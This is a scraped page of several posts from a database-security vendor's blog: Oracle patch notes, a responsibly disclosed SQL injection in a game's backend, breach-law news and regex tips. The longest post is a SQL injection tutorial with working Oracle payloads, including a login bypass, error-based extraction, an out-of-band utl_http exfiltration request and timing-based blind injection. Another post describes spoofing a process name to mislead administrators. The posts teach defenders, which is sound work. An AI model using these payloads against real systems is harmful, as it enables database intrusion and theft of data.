Ah, time flies when you’re having fun. It seams that only yesterday we worked on the October CPU and now Oracle released the January CPU.

This time, Oracle acknowledged 24 security fixes, 9 of them in the database layer. This number is a bit lower than the average but as in the previous CPU, you have a vulnerability that can be exploited remotely without authentication to take control of the machine (on Windows) or the Oracle account (on *nix).

Analyzing the CPU provides an interesting story. As always, Oracle talks about x vulnerabilities but actually patches y (which is much bigger than x). In this CPU, we’ve already analyzed more than 15 different vulnerabilities and we’re still counting!

Based on the severity of some of the vulnerabilities, if you have one of the supported versions you know you need to patch!
It’s also important to understand that if you have any 9i, 10gR1, 10gR2 or 11gR1 you’re vulnerable. Oracle just provides CPUs to the latest patch-sets.

I’m happy to see three Sentrigo researchers were credited in this CPU (including myself!). Go Red Team!

Of course, Sentrigo customers are already protected against many of the vulnerabilities using our own vPatches and we will release updated vPatches to cover the others.

In this case, my advice to wait a week to make sure that there are no issues with the patch and then patch as soon as possible since the vulnerabilities are so severe. Patch as soon as possible – but only after ensuring that your applications are not breaking.

If you can’t patch quickly or unable to patch at all due to valid reasons , try virtual patching as a stop-gap solution.

I’ve talked about displaying errors from the database on the user screen a while ago. In my opinion, this is definitely a big no-no and a security problem just waiting to happen.

As some of you know, I have an iPhone (and I like it a lot, but that’s another story). I’ve installed a nice little game called Tap Tap Revenge from Tapulous, a fairly known company and game in the iPhone scene. Immediately after installation, it required me to register or login.

Here is the error I got  trying to click on a email link trying to reclaim my username (I changed the error a bit):

Warning: mysql_connect() [function.mysql-connect]: Too many connections in /var/www/html/tapservices/v1/lib/tapsql.php on line 49

Warning: mysql_select_db(): supplied argument is not a valid MySQL-Link resource in /var/www/html/tapservices/v1/lib/tapsql.php on line 50

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /var/www/html/tapservices/v1/lib/tapsql.php on line 94
INSERT INTO tapulous.devices (user_id, device_id, time) VALUES (‘xxxx’, ‘yyyy’, NOW()) ON DUPLICATE KEY UPDATE user_id=’xxxx’, time=NOW()
Too many connections

Hmmm…

Let’s count how many details we can get from the error message:

  • They are using PHP
  • They are using MySQL
  • They probably use Apache on Linux or some other *nix variant
  • We know the directory structure (and also that it’s v1)
  • They have the SQL code separated in a file called tapsql.php
  • The MySQL server is not configured correctly with regards to the number of connections (or the connection pool is not configured correctly)
  • The database for Tapolous data is called tapolous (shocking, I know)
  • The table for the devices is called devices (another shock)
  • I did not post the link I clicked but if we examine the link and the INSERT statement in the error, it’s easy to see that user input is directly concatenated into the query – this one is really shocking – SQL Injection, anyone???

I’m sure that if you think a bit, you can find even more details in the error message but the last one is the most important one. I would have thought that in this day and age everybody is using bind variables. The first try to SQL Inject the link succeeded, of course. This is a popular application (and site) with a lot of registered users (including me) and having our details out there in the database does not inspire confidence.

I, of course, notified Tapulous immediately and received an email saying that the problem was fixed. Otherwise, I would not have written anything.

Oh, and looking at the original link and the SQL command being executed, I believe it’s very easy to write a small script (shell, Python, just choose your favorite) to iterate on all users and associate all the usernames with your own device…

I’d love to hear your thoughts.

In the midst of all the excitement around healthcare reform, the fact that both the house and senate made some progress on their (separate) bills for protecting personal information hasn’t received the attention it deserves.  Sure, I think we’re up to 46 states that now have their own breach notification laws, but simplifying this and raising the bar in some of the states with more lax regulations, is certain to improve the state of database security overall.

So, where does this stand?

The biggest advance was in the house, where the “Data Accountabilty and Trust Act” (aka H.R.2221) passed on December 8th, and has been sent to the senate.  It includes provisions aimed at improving security policies, as well as breach notification requirements.  See:  http://www.scmagazineus.com/national-data-breach-notification-bill-passed-in-us-house/article/159404/

The senate, has 2 of their own bills that made it out of “committee” in November, and await a floor vote.  The “Personal Data Privacy and Security Act of 2009” (looks like they’ll have to update the name) and the “Data Breach Notification Act” address the need to better secure sensitive information and notify individuals in case of a breach, respectively.   See:  http://www.eweek.com/c/a/Security/Senate-Committee-Passes-Data-Breach-Laws-590570/

There is still work to be done in Washington (the senate must pass their bills, then on to reconciliation to get the house and senate versions aligned, and of course they all get to vote again), but even so, I’m optimistic that something will come of this next year.  Maybe I should have put that in my predictions for 2010.  If that’s the case, I think it will bring more focus in virtually every company on the need to better secure databases.  Those that have already taken the step to deploy tools to monitor activity will be in the best position to meet the new requirements with minimal disruption, and for those that have been looking for ways to justify the expense to management, this will make it much easier.

As another year comes to a close, it’s time for both new year’s resolutions as well as predictions.

On the resolutions front, I hope to be much more active on my blog next year.  As we grow as a company, I seem to have less time for my musings, as I spend more time with customers and those we hope will become customers.  Overall, it’s a good problem to have…

As far as predictions go, this is always dangerous ground.  A year from now, someone will undoubtedly come back and point out that I really missed some major new trend, or called one that never came to be.  But, these are simply best guesses based on what I’m seeing out there, and I’d be happy to hear from those who have additional trends of their own. You can also read all about it here and here.

Hackers are getting better tools

This one will increase the frequency of attacks, based on several factors:

  • Automation will let good hackers move faster
  • Less skilled hackers will now be able to use more sophisticated attacks
  • Lesser known sites will see more “random” attacks as the tools look for vulnerabilities instead of the hackers targeting specific companies and finding a way in

More attacks will be based on outsiders turned insider

As the perimeter defenses become better, most companies have continued to neglect the risk of the privileged insider.  So, the easy money may go to alternative approaches to getting insider access.  Bribery and even extortion come to mind, but so does getting hired as a consultant or even an employee, mainly to get at the data.

I also put drive-by malware attacks in this category, as the unsuspecting user simply browsing a site lets malware in that attacks from the inside.

Organizations will focus on minimizing surface area of attack

The less content you have, the easier it is to lock it down.  Just as the e-Discovery era brought about email retention policies, we’re beginning to see people deleting sensitive records as soon as they are no longer needed, reducing the information at risk.  At the same time, tools like tokenization will limit the number of databases with actual information to just one, while apps only store pointers.  By securing the one live repository (I’d recommend Sentrigo for this of course!), you’re now protected.

Databases finally make it to the cloud

There’s been much noise about the cloud, but so far I haven’t seen many customers putting business critical apps, with sensitive data, in the cloud.  One reason has certainly been concern about data security (and compliance).  With solutions like Hedgehog, you can deploy a small sensor that gets installed whenever and wherever the cloud provider puts your database, and it is just as secure as in your own datacenter.  And you can monitor the admins at the provider as well.  As companies get comfortable with these technologies, critical databases will move to the cloud.

Compliance will remain a “bare minimum” effort

Not so much a new trend, but I expect in the continuing difficult economy, we will still see most companies investing the least amount possible to comply with regulations, rather than taking an approach of what they consider best practices to secure data.  Thus, we’ll still see breaches of “compliant” companies, and as a result there will be pressure on auditors to enforce more strictly, and pressure on regulators to update standards to fill commonly exploited gaps.  To stay on top of this, flexibility will be required.

So, here they are. I’d love to hear your thoughts…

Paul Wright has written an excellent paper on an interesting way to attack Oracle using external tables.

It just goes to show that any permission can be abused in the right circumstances. I’m still amazed that UTL_FILE is still granted to PUBLIC by default.

Anyways, great work, Paul!

Oracle has released the October CPU with 38 announced security fixes (and more under the covers). 16 database vulnerabilities out of which a mind blowing 6 may be remotely exploitable without authentication, i.e., may be exploited over a network without the need for a username and password. Also, 3 of those will allow you to completely compromise the machine!
If you have one of the mentioned versions (9.2.0.8, 10.1.0.5, 10.2.0.4) you know you need to patch!
It’s also important to understand that if you have any 9i, 10gR1 or 10gR2, you’re vulnerable. Oracle just provides CPUs to the latest patch-sets.

The usual suspects are present in the credits – Alex, David, Joxean, Dennis, Cesar, Alexandr, Laszlo – good stuff.

Sentrigo was given credit for both discovering vulnerabilities and for security in depth. Way to go, Red Team!
Of course, Sentrigo customers are already protected against many of the vulnerabilities using our own vPatches and we will release updated vPatches to cover the others.

In this case, my advice is not even to wait a week to make sure that there are no issues with the patch since the vulnerabilities are so severe. Patch as soon as possible – but only after ensuring that your applications are not breaking.

If you can’t patch quickly or unable to patch at all due to valid reasons , try virtual patching as a stop-gap solution.

I’m doing a lot of presentations where I mention SQL injection and even show detailed examples of both injecting applications and injecting stored program units within the database.

What I’d like to do in this post is describe SQL injection types, give concrete examples for a web applications and Oracle and talk a bit about blind SQL injection with Oracle as the back-end database.

Let’s start with a simple example

Assuming an application (web or client/server) has a login page that tries to validate users by matching their username and password with an existing row in a database table called user_details. The table contains columns user_name and password. A naive implementation of the database layer would be something like the following Java code:

Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
"select * from user_details where user_name = '" + username + "'
and password = '" + password + "'");

Given that “username” and “password” are input fields directly passed from user input without any processing, any astute reader can notice the problem in this code.
All the would-be hacker is required to do is pass in “‘ or 1=1 –” and he will be logged in with the first user in the table.
In the next paragraphs, we will explore various techniques a hacker can use to attack such vulnerable code as the above.

SQL Injection types

Roughly speaking, SQL injection has three general classes that are divided into many subclasses. The three classes are In-Band, Out-of-Band and Inference.

In-Band

This is,by far, the easiest attack class of SQL injection. This attack is valid if the application can be manipulated to return different results than expected directly to the invoker by using techniques such as unions or error manipulation.
Taking the example from above, let’s say that the application displays the first name in the upper right corner of the screen. Now, all we have to do is to make sure that the first name returned is something we control.
Passing username as – “‘ and 1=0 union select banner from v$version where rownum = 1 –” should get us started.
Of course, at first, you will receive errors because the number of columns is not the same between the first and the second part of the statement so passing in additional nulls or ‘1′ values in the second select should solve the problem.
Using a different technique might be even easier, depending on the application implementation. Instead of trying to match the exact format of the vulnerable statement and guessing what columns are displayed, we can use error manipulation to retrieve the requested information. If the application displays error messages from the database layer directly to the screen, all we have to do is to create an error in the statement with hacker controlled text and read the results. Fortunately for the would-be hackers, Oracle has many options to generate hacker-controlled errors. One such example (the most known one) is using UTL_INADDR.
Again, taking the example from above, passing username as – “‘ or 1 = utl_inaddr.get_host_name((select banner from v$version where rownum = 1)) –” would generate the following statement: “select * from user_details where user_name = ” or 1 = utl_inaddr.get_host_name((select banner from v$version where rownum = 1)) — and password = ”” which will generously give the following error on the screen:
ERROR at line 1:

ORA-29257: host Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 -

64bit Production unknown

ORA-06512: at “SYS.UTL_INADDR”, line 4

ORA-06512: at “SYS.UTL_INADDR”, line 35

ORA-06512: at line 1

On recent Oracle versions, this only works if the database user has permissions to access the package and is granted the relevant ACLs but there are other options to use instead of UTL_INADDR like CTXSYS.DRITHSX.SN and others.
It should be noted that Oracle, unlike other databases, does not allow multiple statements separated by ‘;’ so many attack techniques from SQL server and other databases are not possible.

Out-of-Band

If the application developers were more security minded and prevented error codes from being displayed, and the injection point cannot be used with unions as data is not displayed to the user, the hackers can revert to a different class of SQL injection using the Out-of-Band attack. In this attack vector, information is being sent to a hacker controlled server using the network or the file system. Oracle provides several packages and types that can be used to send information out of the database. Examples include HTTPURITYPE, utl_http, utl_tcp, utl_inaddr (DNS smuggling), utl_file, utl_smtp, etc.
Using the example above, the attack would be passing into username the following: “‘ or ‘1′ = utl_http.request(‘http://www.sentrigo.com/’ || (select banner from v$version where rownum = 1)) –” and since the site is controlled by the hacker all the hacker really needs to do is get the requests from his web server logs.

Inference (Blind SQL Injection)

Finally, we are coming to the point of this post.
If both In-Band and Out-of-Band options are not possible, the hacker is left with inference attacks. The most common blind SQL injection attack is using timing to infer information about the database. In other words, the hacker injects a question / guess and if the question is true makes the database delay the response. Unlike SQL Server, where one can inject the “WAITFOR DELAY” command, Oracle does not allow multiple commands and dbms_lock.sleep is not a function in Oracle so you cannot inject it into the statement. In all the examples I’ve seen for Oracle, long operations are traditionally used. Taking the example above, one can pass username: “‘ or 1 = case when substr(user, 1, 1) = ‘S’ then (select count(*) from all_objects) else 1 end –” and if the response if slower than usual we now know that the database user we are running with starts with ‘S’.
But, this looks a bit messy as you depend too much on DBMS side effects and also can alert the DBA that something fishy is going on.
Another technique that comes to mind in delaying the database is using commands that receive a timeout such as DBMS_PIPE or DBMS_ALERT. So, the above can be rewritten as following: “‘ or 1 = case when substr(user, 1, 1) = ‘S’ then dbms_pipe.receive_message(‘kuku’, 10) else 1 end –”. Since no message is coming on the “kuku” pipe, this will delay the command for 10 seconds exactly (or almost exactly) and then return to the caller.
I was surprised when I couldn’t find any such example on the web.
Using this technique is only possible if the database user has permissions to execute DBMS_PIPE but I’ve seen many databases where this is granted to public.
Looking at 11g, there are many functions that receive a TIMEOUT parameter so it’s reasonable to assume that one of them would be available.
Using this technique, the hacker can precisely (more or less) determine what branch his injection has taken.

What do you think? Is using timeouts as delays for blind SQL injection a usable technique?

Another guest post by Roy Fox, Sentrigo’s Head of Security Research.

Here is a list of things worth considering when using regular expressions. Some of the tips are Hedgehog related.

Use predefined character sets

You should usually prefer using predefined character sets, such as \d, to explicit ones, such as [0-9]. Some character sets provide locale and Unicode support, for example \w is not equivalent to [a-zA-Z0-9_], since it also matches non-Latin letters and numbers.

In addition, using predefined character sets may improve the performance of your regular expressions.

Avoid unnecessary group capturing

To improve performance, avoid grouping, i.e. using parenthesis, as much as possible. Nevertheless, sometimes you may have to group an expression for some reason, but not capture the group for backreferencing, for example in the expression:

(ab)+

In this case, a significant performance gain can be achieved by using non-capturing grouping:

(?:ab)+

Avoid multiple and nested repetitions

The matching algorithm uses backtracking: on failure, it goes back to try other matching possibilities for parts of the expression it already matched. Multiple or nested repetitions may create a multitude of equivalent matching possibilities, so that trying all of them is redundantly slow.

For example, the pattern

^.*password

is essentially equivalent to

^.*.*password

However, in the former, a match for password is tried once in any starting position, while in the latter, if password fails, it’s tried again and again. This is because the wildcards match any splitting of the prefix into 2 parts. The situation is even worse with

^(.+)*password

where every partitioning of the prefix is tried.

Use atomic matching

Often, backtracking is unnecessary. For example, when the expression

create\s*table

is matched against the string

create         user

it’s futile to try to match \s* against any but the longest sequence of whitespaces. You can avoid this backtracking by using the equivalent

create(?>\s*)table

This is atomic non-capturing grouping. When a match has been found for the group (\s*, in this case), but subsequently not for the remainder of the expression (table, in this case), this signals the regular expression engine not to backtrack, that is, not to try another match for \s*.

It should be noted that the repetition quantifiers *, +, and ? have a short notation for their atomic versions: *+, ++ and ?+, respectively, so that (?>\s*) is equivalent to \s*+.

While this may greatly improve performance, note that atomic matching may alter the meaning of the expression, and care should be taken not to harm its validity. For example, .*+ should never be used, because it matches the remainder of the string and nothing else.

Case insensitivity

Hedgehog compiles regular expressions with the flag (?i), which mean that upper/lower case is ignored. For example, the expression

SeLeCt

will match the string

seLEct

If case sensitive matching is required, the expression (or sub-expression) can be preceded with (?-i).

Matching newlines

Hedgehog also compiles regular expressions with the flag (?s), which mean that a wildcard (.) can match a newline character. This is intended primarily to allow the match for .* to span multiple lines. When this is not the required behavior, (?-s) can be used to make a wildcard not match newline characters.

Matching newline characters explicitly can be done using \r and/or \n. Note, however, that different databases have different standard newline symbols, and most accept non-standard ones. It is best to avoid this issue by simply matching any sequence of whitespaces.

Plan for matching failure

For every regular expression, there are the set of strings it matches and of those which it fails to match. In the Hedgehog scenario, as in many others, only a tiny fraction of all strings will match, and most will fail. This makes performance much more important for failing strings than for matched ones.

What this means is that you should try to compose regular expressions which fails as soon as possible for as many of these failing strings as possible. Suppose, for example, you have 2 expressions, expr1 and expr2. expr1 does exactly what you want, but is very complex and slow. expr2 is much faster, but matches, in addition to all the strings it should, half of the strings it shouldn’t. It may be best to use the expression

(?=expr2)expr1

or something equivalent, despite the additional cost of the lookahead. This is because it saves attempting to match the expensive expr1 on half of the failing strings.

Dennis Yurichev just dropped me a note about his new web front end for his FPGA-based password cracker. Looks very interesting as now you can write some interesting PL/SQL code to crack passwords directly from the database using this available web interface. Right now, it appears that most users are the usual suspects testing it (Pete, Alex, etc.) but it would be very interesting to see how this is being used after a while.

I always wondered how Oracle Client knows to send my program name to the server process to be stored in x$ksuse (v$session). I had my assumptions but finally I had a chance to verify them as a fellow developer asked me this question.

I’ve created a simple ocitest C program to connect to Oracle and select the program name from v$session and then started experimenting.

The first test was just overwriting argv[0] with a different value at the beginning of the program. The name was immediately changed in the Oracle session.

The second test was running the program with strace since there are several ways you can get the process name on Linux. It turns out that Oracle client chooses the simplest way:
open(“/proc/self/cmdline”, O_RDONLY)    = 3
read(3, “xxxxxxxxx\0002\0″, 255)        = 12
close(3)                                = 0

So, it looked to me that all I had to do is to intercept (interpose) the open call and replace it with my own version so that if the open tries to read /proc/self/cmdline I will return my own file containing my own chosen program name.
Which I immediately proceeded to test (ocitest2) and of course it worked.

Ha, try this to confuse the administrator – Oracle saying that program X is connected but in the processes list you cannot find program X (of course you can always check the process at the end of the socket).

interposing

« Previous PageNext Page »